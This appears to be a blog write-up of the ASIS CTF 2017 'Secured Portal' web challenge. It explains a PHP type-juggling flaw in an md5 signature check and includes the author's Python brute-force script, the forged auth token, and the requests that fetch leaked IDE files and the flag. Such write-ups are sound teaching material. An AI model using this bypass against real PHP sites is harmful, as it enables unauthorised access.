title: Asis CTF 2017 - Secured Portal Write Up author: depierre published: 2017-04-08 categories: Security keywords: asis, ctf, write-up, web, challenge, php, type, juggling The [Asis CTF](https://asis-ctf.ir/) was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal. ![Secured Portal](/static/images/asis2017/secured_portal.png) In this write-up, I am covering the first level: Secured Portal. # Intelligence gathering The [homepage](http://46.101.96.182/) of the challenge only shows a static image and nothing more. Looking at the source code, we can start gathering some intelligence that we could leverage later on. For instance, there is a [`functions.js`](http://46.101.96.182/js/functions.js) file with some infos: :::javascript hl_lines="3 18 30" /** * Created by root on 3/24/17. * coded via PhpStorm :) */ /* . . . */ $(document).ready(function() { $("#login").click(function(event){ event.preventDefault(); var username = $("#inputUsername").val(); var password = $("#inputPassword").val(); var loginString = btoa(username + ':' + password); $.get('/authentication/login/' + loginString, function(data){ var loginString = readCookie('loginString'); if(typeof loginString == 'undefined'){ $("#showResult").remove(); $("#result").append('
'); $("#showResult").addClass('alert').addClass('alert-danger').html('Invalid credentials have been given.'); }else{ $("#showResult").remove(); $("#result").append('
'); $("#showResult").addClass('alert').addClass('alert-success').html('Login success, please wait until you are being redirected to the panel'); setTimeout(function(){ window.location = '/panel/index?auth=' + decodeURI(loginString); }, 3000); } }); }); }) We get a few URLs (`/authentication/login/` and `/panel/index?auth=`). The first `loginString` seems to be the username and password of the user encoded in base64 (like HTTP Basic authentication). The second `loginString` seems to be a session-like object to send along when accessing the portal pages. We can't really make anything out of these URLs without more information, like a set of credentials or the source code maybe. Another clue is the comment at the beginning of the file: coded via **PhpStorm**. As mentioned in the description of the challenge, the author of the web portal used his IDE on the server, most likely leaving temporary and configuration files behind (like `.swp` or `~` files for instance). ![PHPStorm](/static/images/asis2017/phpstorm2.png) After installing PhpStorm in a VM and creating a dummy project, we can see that configuration files like `workspace.xml` are created in the `.idea` directory. Let's try that: :::http GET /.idea/workspace.xml HTTP/1.1 Host: 46.101.96.182 Which returns: :::http hl_lines="22" HTTP/1.1 200 OK Date: Sun, 09 Apr 2017 09:37:49 GMT Server: Apache Last-Modified: Fri, 31 Mar 2017 13:15:51 GMT ETag: "2399-54c069bd2a608" Accept-Ranges: bytes Content-Length: 9113 Vary: Accept-Encoding Connection: close Content-Type: application/xml [ . . . ] [ . . . ] We can now access some backup file (`/backup/panel.class.php.bk`), which contains exactly what we needed: :::php hl_lines="33 39 44 45 51" __db = $db; $sessionString = null; /** * gathering authentication string by auth parameter in HTTP request */ if(array_key_exists('auth', $_GET)) $sessionString = $_GET['auth']; if(strlen($sessionString) > 32){ $signature = substr($sessionString, -32); $payload = base64_decode(substr($sessionString, 0, -32)); /** * real signature calculation based on the key */ $realSign = md5($payload.$this->__sessionKey); /** * making it impossible to login, if the site is under maintenance, */ if(__MAINTENANCE__===true) $realSign = substr($realSign, 0, 6); /** * checking signature, prevent to data forgery by user */ if($realSign == $signature){ $this->data = unserialize($payload); if(is_array($this->data)){ /** * checking login status */ if($this->data['logged']===true){ $this->__auth = true; } } } } } /* . . . */ /** * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print */ function flag(){ if(!$this->__auth){ echo 'login required'; return false; } /* * WOW, SEEMS THE FLAG IS HERE :) */ require 'includes/flag.php'; } /* . . . */ I only pasted the snippet handling the authentication for now. In short, the `loginString` is a base64 encoded serialized PHP array appended with a 32 bytes md5 hash. As indicated in the comments, the author will only uses the first 6 character of the md5 hash to compare it with the real one, which should make the next comparison impossible and prevent people from connecting (if PHP didn't suck). If we pass the signature check though, then our base64 encoded data is unserialized. If the unserialized object contains `logged` set to `true`, we are successfully authenticated. # PHP type juggling The issue here is a [PHP type juggling](http://phpsadness.com/sad/47) vulnerability, where the hashes are compared using `==` instead of `===`, meaning that PHP will do some stupid things (like casting the variables for you). For instance: :::php false 0 == "0" // -> true In our case, if we can manage to have `$realSign` matching `0+[eE]\d{4}.*` (e.g. *0e1234abcd...*) on the left side and `$signature` set to `00000000000000000000000000000000` on the right side, then PHP will try to cast the `$realSign` to a number using the **scientific notation** (which results in 0), which is equal to the `000...` hash we provided. So to sum up, to bypass the authentication, we need to: + Provide a base64 encoded serialized PHP object that, when concatenated with the secret key, has a md5 hash matching `0+[eE]\d{4}.*` + Provide a md5 hash composed of 0 or matching `0+[eE]\d{4}.*` + The serialized PHP object must be an array containing `logged` set to `true` The following python script does all of that. It uses a very stupid approach to brute-force the md5 hash. Basically, our PHP object will contain an extra dummy parameter, called `foo`, that will be padded using characters from the ASCII table. :::python import sys import base64 import string import requests URL = 'http://46.101.96.182/panel/index' SIG = '00000000000000000000000000000000' template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG}) if not 'login required' in r.text: print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0) The script yields the following payload: :::bash found collision a:2:{s:6:"logged";b:1;s:3:"foo";s:23:"ccccccccccccccccccccccc";} YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ== Let's try it: :::http GET /panel/flag?auth=YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==00000000000000000000000000000000 HTTP/1.1 Host: 46.101.96.182 Which returns the flag: :::http hl_lines="12" HTTP/1.1 200 OK Date: Sun, 09 Apr 2017 10:13:10 GMT Server: Apache Vary: Accept-Encoding Content-Length: 952 Connection: close Content-Type: text/html; charset=UTF-8 [ . . . ]
flag: ASIS{An0th3R_Tiny_Obj3c7_Inject1oN_L0L!!!}
[ . . . ] First level validated! It was pretty straight forward but wait for the next one ;) # Onto the next level! In the backup file we downloaded, there is another function that allows us to download the source code of the secured portal. :::php __auth){ echo 'login required'; return false; } $file = '../source.zip'; if (file_exists($file)){ header('Content-Description: File Transfer'); header('Content-Type: application/x-gzip'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } /* . . . */ So the source can be downloaded [here](http://46.101.96.182/panel/downloadSource?auth=YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ00000000000000000000000000000000). Let's now move on to the next level and exploit that insecure `unserialize` call, shall we?